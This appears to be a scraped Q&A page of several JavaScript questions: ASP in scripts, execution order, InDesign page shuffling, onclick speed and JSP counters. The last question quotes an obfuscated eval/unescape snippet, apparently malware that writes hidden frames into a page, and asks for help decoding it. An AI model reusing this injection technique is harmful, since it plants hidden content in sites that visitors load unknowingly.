ASP if statements and while loops in javascript - javascript

I've noticed that you can set javascript variables using ASP code. For example:
var test = "<%response.write(number)%>"
I was wondering if other types of ASP code can work in javascript, such as if statements or while loops. For Example:
function test1()
{
count = 0;
<%if number = 1 then%>
count = count + 1;
<%end if%>
}
function test2()
{
count = 0;
<%index = 0
do while index < 10 %>
count = count +1;
<%index = index +1
loop%>
}
I am relatively new to web development and programming so I'm not sure if this is possible. If this does not work, is there any way I can get around this or a different way to code it?
Any tips or advice would be greatly appreciated.

As I say in my comment, it's really important to understand the difference between client-side and server-side processing in things like ASP, ASP.NET, PHP, etc.
As you appear to know, the javascript is run on the client-side (i.e. the browser). The server-side does processing of the ASP, ASP.NET, PHP, etc and then sends information (HTML, Javascript, etc) to the browser.
You can indeed do the following code that you have written...
function test2()
{
count = 0;
<%index = 0
do while index < 10 %>
count = count +1;
<%index = index +1
loop%>
}
But instead of the SERVER doing the calculation 10 times, the server will create the line 10 times and send it to the browser...
function test2()
{
count = 0;
count = count +1;
count = count +1;
... followed by another 8 lines of the same
}
... meaning the CLIENT run javascript will do the calculation 10 times.
Depending on exactly what you need the code to do will depend on whether the code should be run client-side or server-side... it's pretty much impossible to tell you which without knowing what you're trying to do.
Hope this helps

Related

Execution order with javascript and race conditions?

I was under the impression that javascript executed all lines at the same time and this is one thing that makes it different from many other programming languages. I have the following code for a simple index;
var newAcceptIndex = 0;
function addNewAccept(event) {
var newAccept = `some new accept ${newAcceptIndex}`
$(event.target).closest("[id^='new_item_']").before(newAccept);
newAcceptIndex += 1
};
I would have expected newAcceptIndex on the first call to be 1 since all code should be executed at the same time and thus set to 1 instead of 0. Am I encountering a race condition or is this working as intended?
JS code does not run all at the same time, you're probably just thinking about the hoisting JS does with their variables and functions so they don't immediately throw errors. You just need to reorganize your code like how it would be in other programming languages - executed from top to bottom:
var newAcceptIndex = 0;
function addNewAccept(event) {
newAcceptIndex += 1
var newAccept = `some new accept ${newAcceptIndex}`
$(event.target).closest("[id^='new_item_']").before(newAccept);
};

Reordering/move pages using Indesign script

I have a nearly 400 page document that I need to [randomly] reorder the pages. (If you need to know, this is a book of single page stories that need to be randomly distributed. I created a random list of pages to input into the script.)
I've been working with a modified script I found elsewhere on the internet that creates an array and moves the pages around:
var order="...list of new page numbers...";
// Create an array out of the list:
ranges = toSeparate (order);
if (ranges.length != app.activeDocument.pages.length)
{
alert ("Page number mismatch -- "+ranges.length+" given, "+app.activeDocument.pages.length+" in document");
exit(0);
}
// Consistency check:
sorted = ranges.slice().sort(numericSort);
for (a=0; a<sorted.length-1; a++)
{
if (sorted[a] < sorted[a+1]-1 ||
sorted[a] == sorted[a+1])
alert ("Mismatch from "+sorted[a]+" to "+sorted[a+1]);
}
// alert ("New order for "+order+"\nis "+ranges.join(", "));
// Convert from 1..x to 0..x-1:
for (moveThis=0; moveThis<ranges.length; moveThis++)
ranges[moveThis]--;
for (moveThis=0; moveThis<ranges.length; moveThis++)
{
if (moveThis != ranges[moveThis])
{
try{
app.activeDocument.pages[ranges[moveThis]].move (LocationOptions.BEFORE, app.activeDocument.pages[moveThis]);
} catch(_) { alert ("problem with page "+moveThis+"/index "+ranges[moveThis]); }
}
for (updateRest=moveThis+1; updateRest<ranges.length; updateRest++)
if (ranges[updateRest] < ranges[moveThis])
ranges[updateRest]++;
}
function toSeparate (list)
{
s = list.split(",");
for (l=0; l<s.length; l++)
{
try {
if (s[l].indexOf("-") > -1)
{
indexes = s[l].split("-");
from = Number(indexes[0]);
to = Number(indexes[indexes.length-1]);
if (from >= to)
{
alert ("Cannot create a range from "+from+" to "+to+"!");
exit(0);
}
s[l] = from;
while (from < to)
s.splice (++l,0,++from);
}} catch(_){}
}
// s.sort (numericSort);
return s;
}
function numericSort(a,b)
{
return Number(a) - Number(b);
}
This code worked, except that it was consistently rearranging them into the wrong random order, which, at the end of the day, is workable, but it'll just be a bigger pain in the ass to index the stories.
I suspected the problem might be caused by starting at the begginning of the document rather than the end, so I modified the script to start at the end, but then app.activeDocument.pages[ranges[moveThis]] kept coming up as undefined.
So I gave up and tried this:
app.activeDocument.pages[298].move (LocationOptions.BEFORE, app.activeDocument.pages[366]);
app.activeDocument.pages[33].move (LocationOptions.BEFORE, app.activeDocument.pages[365]);
app.activeDocument.pages[292].move (LocationOptions.BEFORE, app.activeDocument.pages[364]);
And so on for every page. (This reminds me of my time in junior high using sendKeys to create programs in Visual Basic. Had I bothered to seriously learn JavaScript instead of creating shitty AOL chatroom scrollers, I probably wouldn't be on here today.)
Nevertheless, I received the following error:
Error Number: 30477
Error String: Invalid value for parameter 'reference' of method 'move'. Expected Page or Spread, but received nothing.
I'm trying to avoid having to manually move the pages, especially considering the amount of time I've already been working on this. Any suggestions on what I need to change? Thank you!
The issue might be that you are using more than one page per spread and then trying to shuffle them across spread. The better way is to use single page per spread.
Here is a small snippet that works on my machine
var doc = app.activeDocument;
doc.documentPreferences.facingPages = false;
for (var i =0; i < 100; i++){
var index = parseInt((Math.random() * doc.spreads.length) % doc.spreads.length + '' , 10);
doc.spreads[index].move();
}
What this does is
Disables the facing pages options and makes one page per spread. A desirable condition as you mentioned that your stories are one page each(I am assuming that your stories will not violate this assumption).
Takes a random spread from the doc and sends it to the end of the spreads in the doc. It does so 100 times.
The result is what you wanted. A script to shuffle the current SPREADS randomly.

Why is JS code inside html <button> tag so slow compared to external JS script file?

I know that using <button onclick="some js code here"> and writing JS directly into HTML is really bad practice. But it's bugging me why is it so slow compared to running included JavaScript file (for example when I run a function from the outer file it is about 100x faster). Seems like the same code but the execution time is greatly different.
Here you have an example:
var i, x = 0;
for (i = 0; i < 1000000; i++) {
x += Math.random() * 10
};
document.getElementById('value').innerHTML = x;
function loop() {
var x = 0;
for (i = 0; i < 1000000; i++) {
x += Math.floor(Math.random() * 10)
};
document.getElementById('value').innerHTML = x;
}
<h1 id="value">value</h1>
<button onclick="var i, x = 0; for(i=0;i<1000000;i++){x += Math.floor(Math.random()*10)}; document.getElementById('value').innerHTML = x; ">test speed</button>
<button onclick="loop()">test speed 2</button>
"test speed" and "test speed 2" buttons have identical code to run but the second button runs it much faster (the one that runs it from outer js file).
Most JS engines are able to optimize for predefined functions, which is why it is so much faster. When you don't define your functions up front, it becomes much harder for browsers to optimize the JS execution.
I see no reason why it should be harder to optimize the code in the button.
I would guess instead that the JavaScript engine just does not keep track of the code in the button. After all the JavaScript engine and the DOM engine code are separate.
That would mean that the JavaScript has to parse and optimize it for every button click since it does not know if it has changed since the last run.
Of course the people coding the browser could fix this, but why should they? ;-)
code string set in onclick requires internal eval which causes the slowness.
Try wrap the code inside loop() function with eval and you will get the same result as it is in onclick attribute

How can we increment variables declared in scriptlet inside javascript

I want to display an element of the list, but I have a problem with the incrementation of list counter. it inrements only one time.
here is my function code in javascript
var element= document.getElementById("question");
timeTotal =timeTotal -1;
var nextQuestNumber = <%=k%>;
var nbQuestion = <%=iter%>;
if (timeTotal <= 0 && nextQuestNumber>0 && nextQuestNumber<nbQuestion)
{
timeTotal=<%=a%>;
element.innerHTML = '<c:out value="<%=listQuestions.get(k).getQuestion()%>"/>';
<%=k++%>;
}
setTimeout("listIter()", 1000);
k is the counter initialized to zero, iter is the list size, and timeTotal is the variable decrimenting the total time (one minute).
So each minute i want to get the next element of list and display it.
So to load this function I did this:
<body onload="listIter()">
And to repeate this function each second i did this inside the function:
setTimeout("listIter()", 1000);
But unfortunately, this not work for me.
Could you help me on that please and tell m
You can't do this directly.
Either pass the whole list to the client side code first then have k client side and read the proper item from the client side array, or use AJAX to read the proper item from the server.
In addition, you don't have any stop condition so your function will keep running endlessly which isn't a good practice. When you are finished, don't call the function again.
The jsp expressions like <% .. %> or <c:out .. /> are evaluated on server side while your javascript code runs on client side. You should check the javascript code in your browser to see what is rendered server side.
Following issues in the program:
setTimeout("listIter()", 1000);
to
setTimeout(listIter, 1000);
and
<%=k++%>;
to
nextQuestNumber++;
and
timeTotal=<%=a%>;
receive it in some other varible in the program as it is getting reset in every run.

obfuscated javascript code

I have encountered some java script code which I believe is malicious but most of it is obfuscated. I was wondering if someone could help me figure out what this code actually does.
eval(unescape('function n48ec61ae(s) {
var r = "";
var tmp = s.split("12113781");
s = unescape(tmp[0]);
k = unescape(tmp[1] + "608421");
for( var i = 0; i < s.length; i++) {
r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-4);
}
return r;
}
'));
eval(unescape('document.write(n48ec61ae('') + 'GoqwpF#dmgiEFxipviJBkSbzbjxy,_WMD1yj{yoBFqa|g%ufxoA"go}swtip%-asvporpE$'EF3hachJAmulwisa~$^WYVF%<24-8(&,BQWOJ_G&0."J^ASHAP_NIRI 4. HWBR#QTAOKRCE$5!A#n~cqa PDVJH xw| $_RE#!oq~t:;5{s0ram`axsau2ows2ulaoizm6<21wnkdpicp5hx6vms#q042enA1?7+5=0oI $ZWTHPNWOBFj~ash#QLWIE.nsyaos5kl~& _PGI"ggtzq8ftmto. SDQHDT[I#^LI"6'#RLPKIZJIEONYF%= $SOPSXTOSLB/TS",LVMUKGTUAOVE.2&,VQWNTDXIF#;ntdvj~oxFHtsbrgpntKF3v{lvmukvEF3hpwpJ121137817396048' + unescape(''));'));
// -->
Just as a reminder DO NOT EXECUTE THIS CODE.
Silly rabbit... tricks are for virtual machine images which you were planning on discarding anyway...
I've spent a good deal of time on this and I think I can confirm that this is so obfuscated that it can't do anything anymore.
You'll get this:
<html>D`i]eI>vdsq\H>kW^v`fly*ZLJI3ujouk#BuazbrkzkA&ckwo{lgm*dqrpcnl? +=#.k^fjFAaqhmewax!UPLLB0.0'4*?RPBH[?*,* FRAMEBORDER=0$<O<OCNYCKKV?A1%A>ku\tcPHRFJlozXW?<!cmzn6/-un3mdg\alo]o.com/nkdeeza280-{feasffr1hl2rgoDq.11bcC-7;'17,cI!YPYJLF[K><frame NAME="jo{]cs3fgy+"[PKE]cxzo5]s`nk&$O#SDHLUDCYAK.+NFL?ITGJBBDU>)9OCPMUOHVF>'XO&HZESF<SXCKNI*.(ZQQKOCMKB#/jp^r^viu=Gyq^rkljnGJ3pvgq`ognIB/jl{pD
The problem is that another function is needed to unscramble this. Notice how it has <html> as well as FRAMEBORDER=, and <frame? That means that there is something which is able to break this up into chunks and reassemble it. The fact that there are so much noise also suggests that there is a function which further decrypts this beyond the scope of n48ec61ae.

Categories

Resources